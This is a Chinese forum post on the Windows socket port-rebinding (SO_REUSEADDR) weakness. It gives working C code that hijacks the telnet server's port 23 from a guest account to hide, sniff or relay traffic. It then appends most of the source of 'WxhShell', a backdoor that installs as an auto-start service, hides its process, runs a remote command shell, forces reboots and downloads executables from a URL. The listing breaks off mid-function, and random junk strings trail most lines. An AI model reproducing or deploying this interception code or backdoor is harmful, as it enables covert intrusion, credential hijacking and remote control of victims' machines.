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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /lDW5;d  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); N5csq(  
*ghkw9/  
  saddr.sin_family = AF_INET; s@ m A\  
3WS`,}  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); i}ypEp  
sLzcTGa2:z  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); z^I"{eT8  
Qpiv,n  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 wcP0PfY  
|ap{+ xh  
  这意味着什么?意味着可以进行如下的攻击: uF9p:FvN8  
r|cl6s!P  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 U#1T HO`  
`zRgP#  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ja70w:ja  
MX6*waQ-<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +jO1?:Lr  
J7t5 B}}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #*#4vMk<  
+[`N|x<  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 cEi{+rfZd|  
|gx{un`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V=k!&xN~  
ui`xgR\6Rh  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =1)yI>2e%}  
qfvd( w  
  #include 8qp!S1Qnv  
  #include au}rS0) +  
  #include k=H{gt  
  #include    |~hSK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *RUB`tEL  
  int main() ?2OT:/I,  
  { |uV1S^ !A  
  WORD wVersionRequested;  a)PBC{I  
  DWORD ret; Yi&;4vC  
  WSADATA wsaData; V\%;S  
  BOOL val; IV;juFw}G  
  SOCKADDR_IN saddr; :ZL;wtT  
  SOCKADDR_IN scaddr; j[m\;3Sp  
  int err; !tv3.:eT  
  SOCKET s; D}px=?  
  SOCKET sc; }\=9l<|  
  int caddsize; $&EZVZ{r  
  HANDLE mt; 's@v'u3  
  DWORD tid;   Wt()DG|[  
  wVersionRequested = MAKEWORD( 2, 2 ); ,W5pe#n  
  err = WSAStartup( wVersionRequested, &wsaData ); G{}E~jDi?  
  if ( err != 0 ) { PV(b J7&R  
  printf("error!WSAStartup failed!\n"); 9fMg?  
  return -1; |OF<=GGO+  
  } ;#78`x2  
  saddr.sin_family = AF_INET; < Up n~tH  
   ^v*ajy.>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 6Bmv1n[X^h  
}lML..((1  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pZ+zm6\$  
  saddr.sin_port = htons(23); %>Z=#1h/a  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) NS-u,5Jt  
  { Ud^+a H  
  printf("error!socket failed!\n"); {z|0Y&>[=  
  return -1; WW0N"m'  
  } 71 hv~Nk/x  
  val = TRUE; Kl{2^ q>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ,AGK O,w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) %;^[WT`,  
  { g$ZgR)q  
  printf("error!setsockopt failed!\n"); b:\I*WJ  
  return -1; LpaY M d;  
  } C"k8 M\RW?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; k7>*fQ89@  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 JxiLjvIq  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 .hn{m9|U  
'SY jEhvw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) n7 4?W  
  { qc|;qPj   
  ret=GetLastError(); `5<  
  printf("error!bind failed!\n"); UY*Hc  
  return -1; y7wy9+>l  
  } i|Lir{vW  
  listen(s,2); rl'YyO}2  
  while(1) :IV4]`  
  { e%`gD*8  
  caddsize = sizeof(scaddr); VvSD &r^qI  
  //接受连接请求 })T}e7>T  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ]2QZ47  
  if(sc!=INVALID_SOCKET) o B_c6]K  
  { Se*ZQtwE  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); i pjl[  
  if(mt==NULL) >wej1#\3  
  { kGc;j8>."  
  printf("Thread Creat Failed!\n"); {F6hx9?  
  break; Ko\m8\3?fK  
  } ;T/W7=4CZ  
  } .=3Sm%  
  CloseHandle(mt); -0YS$v%au>  
  } 0@C`QW%m  
  closesocket(s); ~ bL(mq  
  WSACleanup(); 8?W\kf$  
  return 0; (03m%\  
  }   "^;'.~@e8  
  DWORD WINAPI ClientThread(LPVOID lpParam) bd_U%0)pi1  
  { :(} {uG  
  SOCKET ss = (SOCKET)lpParam; L:%ek3SOz  
  SOCKET sc; PQWo<Uet  
  unsigned char buf[4096]; v[e$RH  
  SOCKADDR_IN saddr; &sR{3pC}  
  long num; 7`6n]4e  
  DWORD val; D2E~ c? V  
  DWORD ret; D`3}j  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Itr yiU9  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   $V]D7kDph*  
  saddr.sin_family = AF_INET; {(o\G"\<XY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R)WvU4+U  
  saddr.sin_port = htons(23); Dgj`_yd  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Y gQ_P4B;  
  { yb*SD!  
  printf("error!socket failed!\n"); 7 '2E-#^  
  return -1; 0h^upB#p  
  } Mto3Ryic!  
  val = 100; W>wIcUP<<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %LXk9K^]e  
  { %.pX!jL  
  ret = GetLastError(); (=CV")tF  
  return -1; j1v fp"J1  
  } k <A>J-|  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L=Dd`  
  { $bF.6  
  ret = GetLastError(); D4}WJMQ7s  
  return -1;  %3KWc-  
  } 1'"o; a]k/  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2!~ j(_TA  
  { 2etcSU(y>  
  printf("error!socket connect failed!\n"); &1F)/$,v  
  closesocket(sc); Q6_!I42Y`  
  closesocket(ss); ul(1)q^  
  return -1; 9^4^EY#  
  } 58mzh82+  
  while(1) KG'4;Z5J  
  { \x(J v Dt  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 d5T0#ue/e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |ZJ]`qmZ  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +VdYT6{p  
  num = recv(ss,buf,4096,0); )Y\},O  
  if(num>0) #h /-  
  send(sc,buf,num,0); 16keCG\  
  else if(num==0) J}i$ny_3OB  
  break; $T^O38$  
  num = recv(sc,buf,4096,0); 8|dl t$  
  if(num>0) j08 G-_Gjn  
  send(ss,buf,num,0); :V HJD  
  else if(num==0) uB 6`e!Q  
  break; tJUMLn?  
  } 2"'0OQN0\  
  closesocket(ss); M98dQ%4I  
  closesocket(sc); [m|\N  
  return 0 ; pb{'t2kk  
  } uCNQ.Nbf C  
cwz %LKh  
KB&t31aq  
========================================================== @>qzRo  
LdU, 32  
下边附上一个代码,,WXhSHELL wQ2'%T|t  
_ Eq:Qbw#  
========================================================== \$VtwVQ,b  
yh]#V"W3  
#include "stdafx.h" X3!btxa% t  
bRLmJt98P  
#include <stdio.h> *Mg=IEu-6[  
#include <string.h> jzI\Q{[m'  
#include <windows.h> ,`P,))  
#include <winsock2.h> X z2IAiAs'  
#include <winsvc.h> f>\?\!  
#include <urlmon.h> +C/K@:p  
_t:rWC"X  
#pragma comment (lib, "Ws2_32.lib") e l'^9K  
#pragma comment (lib, "urlmon.lib") 6y%BJU.I  
_66zXfM<  
#define MAX_USER   100 // 最大客户端连接数 =k2+VI  
#define BUF_SOCK   200 // sock buffer [uc;M6o}?  
#define KEY_BUFF   255 // 输入 buffer $* b>c:  
Z&s+*& TM  
#define REBOOT     0   // 重启 ;T"}dJel#  
#define SHUTDOWN   1   // 关机 6IPhy.8  
^KF  
#define DEF_PORT   5000 // 监听端口 $*xnq%A  
|I^\|5  
#define REG_LEN     16   // 注册表键长度 I = qd\  
#define SVC_LEN     80   // NT服务名长度 W5 fO1F  
h}q+Dw.i  
// 从dll定义API 6b-d#H/1Y  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9H1R0iWW  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); \r324Bw>2  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); k1$|vzMh  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); <Sm =,Sw  
k:m~'r8z  
// wxhshell配置信息 b\U Q6 V  
struct WSCFG { fR5 NiH  
  int ws_port;         // 监听端口 ?5$\8gZ  
  char ws_passstr[REG_LEN]; // 口令 @K4} cP  
  int ws_autoins;       // 安装标记, 1=yes 0=no J0d +q!  
  char ws_regname[REG_LEN]; // 注册表键名 x\3 ` W  
  char ws_svcname[REG_LEN]; // 服务名 v_{`O'#j^  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '}P)iS2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 =H>rX 2k  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 #MHn J  
int ws_downexe;       // 下载执行标记, 1=yes 0=no _UjAct]6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" u 6 la  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -*e$>w[.N  
>kz5azV0  
}; V/"0'H\"1  
6xk"bIp  
// default Wxhshell configuration #c+N}eX{  
struct WSCFG wscfg={DEF_PORT, QMy;?,  
    "xuhuanlingzhe",  YDi_Gl$  
    1, oxPOfI1%]  
    "Wxhshell", U[U$1LSS  
    "Wxhshell", .{5)$w>  
            "WxhShell Service", wCMsaW  
    "Wrsky Windows CmdShell Service", Z)P x6\?+  
    "Please Input Your Password: ", xfkG&&  
  1, '[qG ,^f  
  "http://www.wrsky.com/wxhshell.exe", 'bY^=9&|  
  "Wxhshell.exe" 45/f}kvy  
    }; #mk#&i3"k  
hB P]^~(  
// 消息定义模块 ?F AsV&y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; qAR~js`5  
char *msg_ws_prompt="\n\r? for help\n\r#>"; eU@yw1N  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; U6jlv3  
char *msg_ws_ext="\n\rExit."; %dw-}1X  
char *msg_ws_end="\n\rQuit."; W$:;MY>0f  
char *msg_ws_boot="\n\rReboot..."; wE%v[q[*X  
char *msg_ws_poff="\n\rShutdown..."; $d,30hK  
char *msg_ws_down="\n\rSave to "; B V+"uF  
8Dhq_R'r  
char *msg_ws_err="\n\rErr!"; eJ'2 CM6  
char *msg_ws_ok="\n\rOK!"; Jc`LUJT  
mC>7l7%  
char ExeFile[MAX_PATH]; 7Ar4:iNvX  
int nUser = 0; *: e^yi  
HANDLE handles[MAX_USER]; %j2YCV7  
int OsIsNt; eK/[jxNO  
=c-j4xna>  
SERVICE_STATUS       serviceStatus; JP!$uK{u  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; AJt0l|F  
y"e'Gg2  
// 函数声明 wMt?yc:X  
int Install(void); fAUtqkB  
int Uninstall(void); "uTzmm$  
int DownloadFile(char *sURL, SOCKET wsh); \dIIZSN  
int Boot(int flag); P8DJv-f`  
void HideProc(void); 8@6:UR.)  
int GetOsVer(void); mEz&:A  
int Wxhshell(SOCKET wsl); j,6dGb  
void TalkWithClient(void *cs); k W/3 Aq7r  
int CmdShell(SOCKET sock); ORcl=Eo>  
int StartFromService(void); tq<7BO<6  
int StartWxhshell(LPSTR lpCmdLine); W>wE8? _,  
6/nhz6=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); <G2;nvRr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3t68cdFlz  
2~R"3c+^  
// 数据结构和表定义 `u%//m_(  
SERVICE_TABLE_ENTRY DispatchTable[] = !fzqpl\ze  
{ R/ l1$}  
{wscfg.ws_svcname, NTServiceMain}, ouVR[w>V  
{NULL, NULL} fcnbPO0M  
}; a3R#Bg(  
Nf-IDK  
// 自我安装 C<qJnB:B 9  
int Install(void) .Ks&r  
{ "*%=k%'  
  char svExeFile[MAX_PATH]; cQ*:U@  
  HKEY key; RBt"7'  
  strcpy(svExeFile,ExeFile); /}#z/m@bN  
ofcoNLX5c  
// 如果是win9x系统,修改注册表设为自启动 3|9) A+,#  
if(!OsIsNt) { =;dupz\7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {s=QwZdR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aina6@S  
  RegCloseKey(key); )l[ +7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { UbY-)9==  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JY9Hqf  
  RegCloseKey(key); q/70fR7{v  
  return 0; z)43+8;  
    } T=;'"S  
  } (yc$W9  
} y ?4|jN  
else { +r4US or  
a(d'iAU8^  
// 如果是NT以上系统,安装为系统服务 r6Pi ZgR  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); (tyo4Tz1  
if (schSCManager!=0) (V{bfDu&h@  
{ r{>tTJFD(:  
  SC_HANDLE schService = CreateService {< jLfL1  
  ( %J~8a_vO  
  schSCManager, Rp}6}4=d  
  wscfg.ws_svcname, d cPh @3  
  wscfg.ws_svcdisp, @_1$ <8  
  SERVICE_ALL_ACCESS, k5g\s9n]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =J0FT2 d  
  SERVICE_AUTO_START, D rHMlk5  
  SERVICE_ERROR_NORMAL, p_B,7@Jl  
  svExeFile, gOgG23 x  
  NULL, Qi6vP&  
  NULL, jpm}EOq<%  
  NULL, VaVKWJg$  
  NULL, rIW`(IG_  
  NULL ;X|;/@@  
  ); 9co -W+  
  if (schService!=0) *v l_3S5_  
  { HmbTV(lC  
  CloseServiceHandle(schService); G dL\  
  CloseServiceHandle(schSCManager); 8N ci1o  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ` mALx! `  
  strcat(svExeFile,wscfg.ws_svcname); w V2 7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6tzZ j:y q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Ujq)h:`  
  RegCloseKey(key); &[R&@l Y  
  return 0; ( 5_oH  
    } YA{Kgc^  
  } [OH>NpL  
  CloseServiceHandle(schSCManager); T_v  
} /YUf(' b  
} x9-K}s]%  
P63z8^y  
return 1; if#$wm%  
} g>OGh o  
k?|VFh1  
// 自我卸载 Lm,io\z  
int Uninstall(void) f=} u;^  
{ ]y-r I  
  HKEY key; cpu+"/\  
>4LX!^V"  
if(!OsIsNt) { I`Rxijz  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { )bPNL$O  
  RegDeleteValue(key,wscfg.ws_regname); u`E_Q8  
  RegCloseKey(key); 6Oo'&3@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *J1pxZ^  
  RegDeleteValue(key,wscfg.ws_regname); +n2x@ 0op  
  RegCloseKey(key); ;E* ^AW  
  return 0; 9L!Vj J  
  } 4.H!rkMM  
} ``aoLQc`  
} 47$JN}qI0  
else { >s[}f6*2@  
Z#7HuAF{]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +1h^9 Y'  
if (schSCManager!=0) >a_K:O|AJ  
{ 1;ZEuO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ?G!^ |^S*  
  if (schService!=0) nez5z:7F  
  { z0g$+bhy  
  if(DeleteService(schService)!=0) { bgYM  
  CloseServiceHandle(schService); ^Ud`2 OW;2  
  CloseServiceHandle(schSCManager); tet  
  return 0; "TN}=^A\F  
  } ,,fLK1  
  CloseServiceHandle(schService); Rg0\Ng4|G  
  } *$^M E  
  CloseServiceHandle(schSCManager); &(Xp_3PO  
} ->8n.!F}  
} nqiy)ZN#R  
Y*w< ~m  
return 1; -pg7>vOq  
} P 3lN ns3  
4fP>;9[F  
// 从指定url下载文件 Fo~C,@/Qt  
int DownloadFile(char *sURL, SOCKET wsh) 2<u vz<B  
{ Z(xn-  
  HRESULT hr; V :d/;~  
char seps[]= "/"; hDmVv;M:  
char *token; &,NHk9.aq  
char *file; YdC:P# Nf  
char myURL[MAX_PATH]; J0o U5d=3  
char myFILE[MAX_PATH]; _ogT(uYyr  
e[Q(OV5(R  
strcpy(myURL,sURL); ^+,mxV'8!  
  token=strtok(myURL,seps); #i)h0ML/e  
  while(token!=NULL) :,GsbNKW  
  { 5 0~L(<  
    file=token; s2w .V O  
  token=strtok(NULL,seps); '|WMt g  
  } $t}L|"=8X  
ap;*qiNFQ  
GetCurrentDirectory(MAX_PATH,myFILE); xo^_;(;  
strcat(myFILE, "\\"); (Ca\$p7/  
strcat(myFILE, file); T3M 4r|  
  send(wsh,myFILE,strlen(myFILE),0); K;[V`)d'  
send(wsh,"...",3,0); fFSW\4JD=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); OP:;?Fs9`  
  if(hr==S_OK) tb0s+rb  
return 0; (">!vz  
else <C CEqY 4  
return 1; 0{AVH/S  
9dKrE_zK:  
} BMFpkK9|  
I"<~!krt%  
// 系统电源模块 ps<JKHC/c  
int Boot(int flag) |mmIu_  
{ $XT&8%|*7  
  HANDLE hToken; /V&$SRdL*  
  TOKEN_PRIVILEGES tkp; 3=;iC6 `  
W-Hw%bwN/q  
  if(OsIsNt) { VZ_ 4B *D  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); J5|Dduv  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); o^DiIo or  
    tkp.PrivilegeCount = 1; yDy3;*lE  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 27,WP-qie  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 0 w@~ynW[  
if(flag==REBOOT) { -*?a*q/#nQ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,$}v_-:[l  
  return 0; $lV0TCgba8  
} \>,{)j q;  
else { <=19KSGFt  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) \Sm.]=b r  
  return 0; [lyB@) 6.  
} E\RQm}Z09  
  } n:k~\-&WJ  
  else { [!bTko>rSB  
if(flag==REBOOT) { <niHJ*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) '%K,A-7W  
  return 0; L & PhABZ  
} LuQ=i`eXx  
else { u!{P{C  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) nM}X1^PiK"  
  return 0; #C !8a  
} #kma)_X  
} m"+9[d_u  
xx9qi^  
return 1; 9"MC<  
} E;-R<X5n  
^dqyX(  
// win9x进程隐藏模块 p|AIz3  
void HideProc(void) S' TF7u  
{ NGS/lKz  
%)q5hB  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); b/O~f8t  
  if ( hKernel != NULL ) ;Iv)J|*  
  { 7i 6-Hq  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ,ci tzh  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JrCm >0g  
    FreeLibrary(hKernel); Fz>J7(Y.j  
  } dc%+f  
$!KV]]  
return; T4\,b  
} trgj]|?M  
DSET!F;PG  
// 获取操作系统版本 LD^V="d  
int GetOsVer(void) t ;y>q  
{ Dc BTW+  
  OSVERSIONINFO winfo; c9f~^}jNb  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); $&lS7}  
  GetVersionEx(&winfo); H!oP!rzEo  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) y4M<L. RO  
  return 1; H> _%ZXL  
  else YSv\T '3  
  return 0; B6=8cf"i  
} HjV83S;  
:K2N7?shA  
// 客户端句柄模块 Q1s`d?P/`  
int Wxhshell(SOCKET wsl) &t%ICz&3  
{ |\N[EM%.@  
  SOCKET wsh; Ybd){Je"z  
  struct sockaddr_in client; *"1]NAz+  
  DWORD myID; c%i/ '<Afr  
2r[Q$GPM<  
  while(nUser<MAX_USER) fqvA0"tv  
{ N}\$i&Vi  
  int nSize=sizeof(client); bl}$x/  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~?[@KK  
  if(wsh==INVALID_SOCKET) return 1; F(@|p]3*  
p,ZubR J"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); wf8vKl#Kfw  
if(handles[nUser]==0) -+ $u  
  closesocket(wsh); w 7=Y_  
else &)\0mpLK9  
  nUser++; JJ7-$h'0q  
  } QD / | zi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); p~=%CG^5  
8(uxz84ce  
  return 0; n;O 3.2  
} DB%=/ \U  
m}F1sRkdQ  
// 关闭 socket @c7 On)sy  
void CloseIt(SOCKET wsh) ##R]$-<4dQ  
{ G^ n|9)CVW  
closesocket(wsh); "o[\Aec:  
nUser--; 8+gSn  
ExitThread(0); G ytI_an8  
} > -k$:[l  
\ m 2[  
// 客户端请求句柄 ab3" ?.3m  
void TalkWithClient(void *cs) ScM2_k`D  
{ F"a,[i,[W  
1a#wUd3  
  SOCKET wsh=(SOCKET)cs; zPhNV8k-  
  char pwd[SVC_LEN]; zif()i   
  char cmd[KEY_BUFF]; y . AN0  
char chr[1]; zjVb+Z\n  
int i,j; SznNvd <  
^@L  
  while (nUser < MAX_USER) { B;?a. 81~  
$,'r} %  
if(wscfg.ws_passstr) { 7xWX:2l*?  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #4~Ivj  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bumS>:  
  //ZeroMemory(pwd,KEY_BUFF); ?uh7m 2l0D  
      i=0; jsk<N  
  while(i<SVC_LEN) { C{e:xGJK  
uXK$5"  
  // 设置超时 &=_YL  
  fd_set FdRead; )[%#HT  
  struct timeval TimeOut; 9)H~I/9Y  
  FD_ZERO(&FdRead); E%/E%9-7\  
  FD_SET(wsh,&FdRead); U .e Urzu  
  TimeOut.tv_sec=8; _3kAN .g  
  TimeOut.tv_usec=0; iCz,|;w%  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J*$ !^\s  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); *B@<{x r  
+a;: 7[%&  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Qv']*C[!z  
  pwd=chr[0]; /R F#B#9  
  if(chr[0]==0xd || chr[0]==0xa) { -+O8v;aC'  
  pwd=0; P]!eM(  
  break; |A5]hL   
  } 7!L"ef62o  
  i++; NV*t  
    } ,4EE9 ?J  
#[Ns\%Ri0  
  // 如果是非法用户,关闭 socket ZTHr jW1  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?4gYUEM#  
} ~~wz05oRG  
Z(.p=Wg  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l|5ss{llR  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *3. ]  
mlIc`GSI  
while(1) { 0 ,Bd,<3  
&({X9  
  ZeroMemory(cmd,KEY_BUFF); umD .  
M62V NYt  
      // 自动支持客户端 telnet标准   . VWH  
  j=0; S@T> u,t'  
  while(j<KEY_BUFF) { +gK7`:v4O*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dHd{9ftyF  
  cmd[j]=chr[0]; x!LUhX '  
  if(chr[0]==0xa || chr[0]==0xd) { <fN?=u+  
  cmd[j]=0; u3"F7 lJ  
  break; X8?|5$Ey  
  } 4sROMk=l  
  j++; [+ 1([#  
    } 0'aZ*ozk  
uXtfP?3Vy  
  // 下载文件 =C5 [75z#+  
  if(strstr(cmd,"http://")) { h:j-Xd$H+  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); uw;s](~E  
  if(DownloadFile(cmd,wsh)) H^'EY:|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .>h|e_E  
  else ^VoQGP/cl  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >;0z-;k6  
  } 4[rD|  
  else { 9u"im+=:  
@Q TG  
    switch(cmd[0]) { Z#^2F8,]  
  &W|'rA'r  
  // 帮助 S@Jl_`<  
  case '?': { I"Y?vj9]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); A}[Lk#|n  
    break; /T*{Mo{B  
  } vC+mC4~/(  
  // 安装 Q7`zrCh  
  case 'i': { .8fOc.h8h  
    if(Install()) DHm$gk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v)rN] b]  
    else +h*&r ~T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RC\TPG/8!  
    break; ib uA~\5  
    } :i?Z1x1`  
  // 卸载 NE3G!qxL  
  case 'r': { +.[#C5  
    if(Uninstall()) gy~M]u{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5M*q{kX)  
    else ZhM-F0;`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o<T>G{XYB  
    break; dI'C[.zp[  
    } e`8z1r  
  // 显示 wxhshell 所在路径 u4fTC})4{C  
  case 'p': { vjbot^W9  
    char svExeFile[MAX_PATH]; 6 U# C  
    strcpy(svExeFile,"\n\r"); ;?%2dv2d  
      strcat(svExeFile,ExeFile); 0.&gm@A~c$  
        send(wsh,svExeFile,strlen(svExeFile),0); yvNYYp2r  
    break; @WFjM  
    } aLq=%fsV)  
  // 重启 ZYu^Q6 b3  
  case 'b': { 0~BQ8O=+mn  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); zB 7wGl9  
    if(Boot(REBOOT)) :tR%y"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); E39:}_IV  
    else { Cg)#B+  
    closesocket(wsh); %l3RM*zb  
    ExitThread(0); ?mgr #UN  
    } kZF\V7k  
    break; {TUCa  
    } ]P]lG-  
  // 关机 c3oI\lU  
  case 'd': { qY#*zx  
